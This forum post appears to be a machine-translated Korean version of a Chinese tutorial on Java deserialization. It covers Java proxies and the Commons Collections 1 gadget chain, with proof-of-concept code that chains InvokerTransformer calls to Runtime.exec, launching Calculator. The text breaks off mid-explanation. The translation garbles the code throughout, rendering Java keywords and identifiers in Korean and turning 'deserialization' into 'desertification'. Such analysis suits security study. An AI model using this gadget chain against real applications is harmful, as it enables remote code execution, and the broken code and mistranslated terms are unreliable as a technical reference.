KoreanHackerTeam
Moderator
Java 反序列化漏洞系列-2
1 背景介绍
1.1 Commons Collections
Apache Commons는 Apache Software Foundation의 프로젝트입니다. Commons Collections 패키지는 Java Standard Collections API에 아주 좋은 추가 기능을 제공합니다. 이를 바탕으로 일반적으로 사용되는 데이터 구조 작업은 잘 캡슐화되고 추상화되고 보충됩니다. 응용 프로그램 개발 중에 코드를 크게 단순화하면서 성능을 보장하겠습니다.1.2 Java 代理
Python에서 데코레이터의 역할과 유사하게 Java의 프록시는 프록시 클래스의 프리 프로세스 메시지가 프록시 클래스의 메시지를 필터링 한 다음 메시지를 프록시 클래스로 전달 한 다음 메시지의 후 처리를 수행한다는 것입니다. 일반적으로 프록시 클래스와 프록시 클래스 사이에는 연관성이 있습니다. 프록시 클래스 자체는 서비스를 구현하지 않지만 프록시 클래스에서 메소드를 호출하여 서비스를 제공합니다.1.2.1 静态代理
인터페이스를 작성한 다음 프록시 클래스를 생성하여 인터페이스를 구현하고 인터페이스에서 추상 메소드를 구현하십시오. 그런 다음 프록시 클래스를 만들고이 인터페이스도 구현하도록하십시오. 프록시 클래스에서 프록시 객체에 대한 참조를 누른 다음 프록시 클래스 메소드에서 객체의 메소드를 호출하십시오.인터페이스 :
1
2
3
공개 인터페이스 hellointerface {
void sayhello ();
}
프록시 클래스 :
1
2
3
4
5
6
공개 클래스 hello 구현 HelloInterface {
@보수
public void sayhello () {
System.out.println ( 'Hello World!');
}
}
프록시 클래스 :
1
2
3
4
5
6
7
8
9
공개 클래스 HelloProxy 구현 HelloInterface {
Private HelloInterface helloInterface=New Hello ();
@보수
public void sayhello () {
System.out.println ( '전기 전 Sayshello');
hellointerface.sayhello ();
System.out.println ( 'after sayhello');
}
}
프록시 클래스 호출 :
1
2
3
4
5
6
7
8
9
public static void main (String [] args) {
helloproxy helloproxy=새로운 helloproxy ();
helloproxy.sayhello ();
}
산출:
말하기 전에 Sayshello
안녕하세요 세상!
Sayshello를 호출 한 후
정적 프록시를 사용하면 클래스의 프록시 작업을 쉽게 완료 할 수 있습니다. 그러나 정적 프록시의 단점도 훌륭합니다. 프록시는 한 클래스 만 제공 할 수 있기 때문에 프록시가 필요한 클래스가 많으면 많은 프록시 클래스를 작성해야합니다. 따라서 동적 프록시의 개념이 제안됩니다.
1.2.2 动态代理
반사 메커니즘을 사용하여 런타임에서 프록시 클래스를 만듭니다.인터페이스 및 프록시 클래스는 변경되지 않았습니다. InvocationHandler 인터페이스는 핸들러 클래스를 구축하여 구현됩니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
공개 클래스 프록시 핸들러는 invocationhandler {
개인 객체 객체;
public proxyhandler (Object Object) {
this.object=객체;
}
@보수
공개 객체 호출 (객체 프록시, 메소드 메소드, Object [] args) 던지기 가능 {
System.out.println ( '전기 전' + method.getName ());
Method.invoke (Object, Args);
System.out.println ( 'after' + method.getName ());
널 리턴;
}
}
동적 프록시 실행 :
1
2
3
4
5
6
7
8
9
10
11
12
13
public static void main (String [] args) {
system.getProperties (). setProperty ( 'sun.misc.proxygenerator.savegeneratedfiles', 'true');
HelloInterface hello=new Hello ();
invocationHandler handler=New ProxyHandler (Hello);
helloInterface proxyHello=(helloInterface) proxy.newProxyInstance (hello.getClass (). getClassLoader (), hello.getClass (). getInterfaces (), handler);
proxyhello.sayhello ();
}
산출:
말하기 전에 Sayshello
안녕하세요 잔가오!
Sayshello를 호출 한 후
2 CommonsCollections 1 Gadget 分析
2.1 调用链
12
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject ()
AnnotationInVocationHandler.ReadObject ()
mapentry.setValue ()
transformedMap.checksetValue ()
ChaintTransformer.transform ()
constanttransformer.transform ()
invokertransformer.transform ()
method.invoke ()
class.getMethod ()
invokertransformer.transform ()
method.invoke ()
runtime.getRuntime ()
invokertransformer.transform ()
method.invoke ()
runtime.exec ()
2.2 POC
12
3
4
5
6
7
8
9
10
변압기 [] 변압기=새로운 변압기 [] {
New ConstantTransformer (runtime.getRuntime ()),
new invokerTransformer ( 'exec', new class [] {String.class}, 새 개체 [] { '/system/applications/calculator.app/contents/macos/calculator'}),
};
Transformer Transformerchain=새로운 ChainedTransformer (변압기);
map innerMap=new HashMap ();
map outermap=transformedmap.decorate (내부 맵, null, transformerchain);
outermap.put ( 'test', 'geekby');
2.3 分析
2.3.1 整体思路
CC1 가제트의 싱크 포인트는 invokertransformer 클래스가 반사 메커니즘을 사용하여 메소드 이름, 메소드 매개 변수 유형 및 메소드 매개 변수를 전달하여 메소드 호출을 할 수 있다는 것입니다.invokertransformer 클래스에서 변환 메소드를 사용하는 호출 지점을 반대로 찾으십시오.

변환 메소드가 TransformEdMap 클래스의 CheckSetValue 메소드에서 호출된다는 것을 발견했습니다.
1
2
3
보호 된 객체 checkSetValue (객체 값) {
return valuetransformer.transform (value);
}
TransformEdmap 클래스의 구성원에서 보호 된 최종 변압기 Valuetransformer 속성이 발견됩니다. 이 클래스의 장식 메소드를 호출하면 TransformEdmap 객체를 구성 할 수 있습니다.

다음으로 checksetValue를 호출하는 소스를 찾으십시오.

MapEntry에는 setValue 메소드가 존재합니다. 따라서 체인의 전반부의 POC는 다음과 같습니다.

다음 단계는 사막화를위한 항목을 찾는 것입니다. AnnotationInVocationHandler 클래스에서 readObject 메소드가 다시 작성 되고이 방법에서는 setValue 메소드가 MapEntry에서 호출됩니다.

이 클래스는 공개되지 않으므로 반사를 통해 객체를 구성해야합니다.
1
2
3
4
class annotationClass=class.forname ( 'sun.reflect.annotation.annotationInvocationHandler');
생성자 생성기=AnnotationClass.getDeclaredConstructor (class.class, map.class);
생성기 .setAccessible (true);
Object obj=constructor.newinstance (Override.class, outermap);
OBJ 객체를 제조하고 전체 체인을 형성하십시오. 전체 프로세스에는 다음 인터페이스 및 클래스의 특정 기능과 다음과 같은 세부 사항이 포함됩니다.
2.3.2 TransformedMap
변환 맵은 Java 표준 데이터 구조 맵을 수정하는 데 사용됩니다. 수정 된 맵이 새 요소를 추가하면 사용자 정의 된 콜백 기능을 실행할 수 있습니다. 다음과 같이 내부 맵을 수정하면 나가는 outermap은 수정 된 MAP:입니다.1
mapoutermap=transformedMap.Decorate (InnerMap, keytransformer, valuetransformer);
그중에서도 KeyTransformer는 새로운 요소의 키를 처리하는 콜백이며 ValueTransformer는 새로운 요소의 값을 처리하는 콜백입니다. 우리가 여기서 이야기하고있는 "콜백"은 전통적인 의미에서 콜백 함수가 아니라 변압기 인터페이스를 구현하는 클래스입니다.
2.3.3 Transformer
변압기는 인터페이스이며 :으로 구현할 방법이 하나뿐입니다.
변형 된 맵은 맵의 새 요소를 변환 할 때 변환 메소드를 호출합니다. 이 프로세스는 "콜백 함수"를 호출하는 것과 유사 하며이 콜백의 매개 변수는 원래 객체입니다.
2.3.4 ConstantTransformer
ConstantTransformer는 변압기 인터페이스를 구현하는 클래스입니다. 프로세스는 생성자가 사용될 때 객체 :을 통과하는 것입니다.
이 객체를 변환 방법으로 반환합니다.

2.3.5 InvokerTransformer
InvokerTransformer는 변압기 인터페이스를 구현하는 클래스입니다. 이 클래스는 임의의 방법을 실행하는 데 사용될 수 있으며, 이는 임의 코드의 사막화 및 실행의 열쇠이기도합니다.
이 invokertransformer를 인스턴스화 할 때 3 개의 매개 변수를 전달해야합니다. 첫 번째 매개 변수는 실행될 메소드 이름이며, 두 번째 매개 변수는이 함수의 매개 변수 유형이며, 세 번째 매개 변수는이 기능에 전달 된 매개 변수 목록입니다.
후속 콜백 변환 메소드는 입력 객체의 imethodname 메소드 :을 실행하는 것입니다.

예를 들어 Calc를 실행하십시오.

2.3.6 ChainedTransformer
ChainedTransformer는 또한 변압기 인터페이스를 구현하는 클래스입니다. 그 기능은 여러 내부 변압기를 함께 묶는 것입니다. Layman의 용어로는 이전 콜백에 의해 반환 된 결과는 다음 콜백의 매개 변수로 전달됩니다.
phith0n을 인용하는 그림 :

2.3.7 AnnotationInvocationHandler
이 취약점을 트리거하는 핵심은지도에 새로운 요소를 추가하는 것입니다. 위의 데모에서는 outermap.put ( 'test', 'xxxx')을 수동으로 실행함으로써 취약성이 트리거되지만, 사막화 할 때는 사형화 된 레디브 젝트 논리에서 유사한 쓰기 작업이있는 클래스를 찾아야합니다.클래스AnnotationInvocationHandler의 readObject :

핵심 논리는 Map.Entrystring, 객체 멤버 value : MemberValues.entryset () 및 membervalue.setValue입니다. setValue 설정 값이 호출되면 TransformEdMap에 등록 된 변환이 트리거되고 페이로드가 실행됩니다.
다음으로 POC를 구성 할 때 먼저 AnnotationInvocationHandler를 만듭니다.
1
2
3
4
5
6
7
class clazz=class.forname ( 'sun.reflect.annotation.annotationInvocationHandler');
생성자 구성=clazz.getDeclaredConstructor (class.class, map.class);
construct.setAccessible (true);
Object obj=construct.newinstance (rendent.class, outermap);
sun.reflect.annotation.annotationInvocationHandler는 JDK의 내부 클래스이며 생성자는 비공개이며 객체는 반사를 통해 생성됩니다.
2.3.8 进一步完善
AnnotationInvocationHandler 클래스를 구성하여 사막화 사용 체인의 시작점을 작성하고 다음 코드로 객체를 직렬화하십시오.1
2
3
4
bytearrayoutputStream barr=새로운 BytearRayoutputStream ();
ObjectOutputStream OOS=새로운 ObjectOutputStream (Barr);
oos.writeobject (obj);
oos.close ();
그러나 직렬화되면 예외가 발생합니다.

이 시리즈의 첫 번째 부분에 설명 된 바와 같이 Java.lang.runtime 클래스는 직렬화 가능한 인터페이스를 구현하지 않으며 직렬화 할 수 없습니다. 따라서 반사를 통해 현재 컨텍스트에서 java.lang.runtime 객체를 얻어야합니다.
1
2
3
메소드 m=runtime.class.getMethod ( 'getRuntime');
런타임 r=(런타임) m.invoke (null);
R.Exec ( '/System/Applications/Calculator.App/Contents/MacOS/Calculator');
변압기로 변환하는 방법 :
1
2
3
4
5
6
변압기 [] 변압기=새로운 변압기 [] {
New ConstantTransformer (runtime.class),
New InvokerTransformer ( 'getMethod', new Class [] {String.class, class []. class}, new Object [] { 'getRuntime', null}),
New InvokerTransformer ( 'invoke', new class [] {object.class, object []. class}, new Object [] {null, null}),
new invokerTransformer ( 'exec', new class [] {String.class}, 새 개체 [] { '/system/applications/calculator.app/contents/macos/calculator'}),
};
그러나 실행 후 계산기가 여전히 나타나지 않았다는 것을 알았습니다.
동적 디버깅은 AnnotationInvocationHandler 클래스의 논리와 관련이 있습니다. AnnotationInvocationHandler:0ReadObject의 논리에는 var7을 판단 할 IF 문이 있습니다. NULL이 아닌 경우에만 SetValue를 입력하여 실행하면 입력하지 않으며 취약성이 트리거되지 않습니다.
그렇다면이 var7을 어떻게 널 있지 않게 만들까요? 다음 두 조건은 :이 필요합니다
Sun.Reflect.annotation.annotationInvocationHandler 생성자의 첫 번째 매개 변수는 주석의 서브 클래스 여야합니다.